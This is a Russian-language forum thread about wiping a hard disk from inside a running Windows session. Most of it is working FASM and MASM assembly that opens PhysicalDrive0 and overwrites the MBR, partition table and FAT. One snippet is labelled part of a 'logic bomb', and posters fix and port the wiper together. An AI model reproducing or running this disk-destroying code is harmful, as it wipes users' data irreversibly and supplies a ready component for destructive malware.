Вообще возможно отформатировать жесткий диск в реальном времени. т.е пользователь сидит в винде, а тем временем идёт форматирование. Подскажите, хоть ссылки по теме. интерсно просто.
100% Можно, и 100% проверено , но почему-то пашет не у всех... Наверно есть возможность лочинга секторов, но в MBR&PT&FAT пишется всегда, что и нужно для форматирования . Где-то валялась прога которая форматировала винт, если думала что её хакают, жесттъ вообщем
Вот. Пользуйтесь на здоровье... format PE GUI 4.0 entry start include 'c:\fasm\include\win32a.inc' section '.code' code readable executable start: invoke CreateFile, DeviceName, GENERIC_READ or GENERIC_WRITE,\ FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL, 0 cmp eax, INVALID_HANDLE_VALUE je @exit mov [fhdr], eax l: invoke WriteFile, [fhdr], buf, 512, NumberOfBytesRead, NULL invoke SetFilePointer, [fhdr], 512, 0, FILE_CURRENT jmp l @exit: invoke ExitProcess, 0 section '.data' data readable writeable DeviceName db '\\.\PHYSICALDRIVE0',0 section '.udata' readable writeable buf rb 512 NumberOfBytesRead dd ? fhdr dd ? section '.idata' import data readable library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL' include 'c:\fasm\include\APIA\KERNEL32.INC' include 'c:\fasm\include\APIA\USER32.INC'
ring4 можно попробывать затереть нулями fat и MBR вот тебе кусок остальное ищи "логическая бомба " by sl0n Код (Text): lea esi,[ebp+drive_a] ; esi = имени файла push 0 ; push 00000080h ; push 3 ; push 0 ; push 00000001h OR 00000002h ; push 40000000h OR 80000000h ; push esi ; call CreateFileAx ; Открытие файла mp eax,-1 ; Файл открылся ? je Close_File ; mov [ebp+fHnd32],eax ; Сохранение хэндла файла push 00000004h ; Страница для чтения/записи push 00001000h ; push 1000h ; Количетсво нужной памяти push 0h ; call VirtualAllocx ; ; Выделяем память cmp eax,-1 ; Если ошибка, то je Close_File ; На выход mov [ebp+mHnd32],eax ; Указатель на память push 0 ; lea eax,[ebp+s2r] ; push eax ; push 1000h ; push [ebp+mHnd32] ; push [ebp+fHnd32] ; call lWriteFilex ; Перезаписываем нулями ; MBR и FAT push 00004000h ; push 1000h ; push [ebp+mHnd32] ; VirtualFreex ; Освобождаем память Close_File: push [ebp+fHnd32] ; CloseHandlex ; Закрываем файл fHnd32 dd 0 mHnd32 dd 0 s2r dd 0 drive_a db '\\.\PhysicalDrive0',0
Cyber_Mozg, ну мбр, таблицу разделов и фат точно затираются..... А вот смапленый системые файлы - наврятли.
assorted извЕняюсь после перезагрузки всё ок, диск не определяется, но странно код который привёл я работает без перезагрузки тоесть запустил и всё бправда все данные можно востановить если захотеть
Cyber_Mozg, ошибочка в моем коде l: mov [fhdr], eax надо метку не до мува, а после. Иначе он затирает только 200h байт - тобиш только мбр надо так mov [fhdr], eax l:
Я так понял тут только для fasm , а есть ли для версия для masm . Я попытался портировать но чёт неработает Код (Text): .data buf dw 512 DeviceName db '\\.\PhysicalDrive0',0 .data? NumberOfBytesRead dd ? fhdr dd ? .code start: invoke CreateFile, DeviceName, GENERIC_READ or GENERIC_WRITE,\ FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL, 0 cmp eax, INVALID_HANDLE_VALUE je @exit l: invoke WriteFile,ADDR fhdr, buf, 512, NumberOfBytesRead, NULL invoke SetFilePointer,ADDR fhdr, 512, 0, FILE_CURRENT jmp l @exit: invoke ExitProcess, 0 end start
Да ниругается он , наоборот всё норм комплирует но MBR не портиться ... ваще 0 эффекта Есть какие нить варианты почему так может быть?
Если форматирование делается с целью уничтожения информации, может проще и надёжней использовать функции защиты диска (стирание - простое и с заполнением). Но для этого нужно общаться с ним напрямую.
Код (Text): .data buf db 512 dup (0) DeviceName db '\\.\PhysicalDrive0',0 NumberOfBytesRead dd 0 fhdr dd 0 .code start: invoke CreateFile, addr DeviceName, GENERIC_READ or GENERIC_WRITE,\ FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL, 0 cmp eax, INVALID_HANDLE_VALUE je @exit push eax pop fhdr invoke WriteFile, fhdr, addr buf, 512, addr NumberOfBytesRead, NULL invoke SetFilePointer, fhdr, 512, 0, FILE_CURRENT @exit: invoke ExitProcess, 0 end start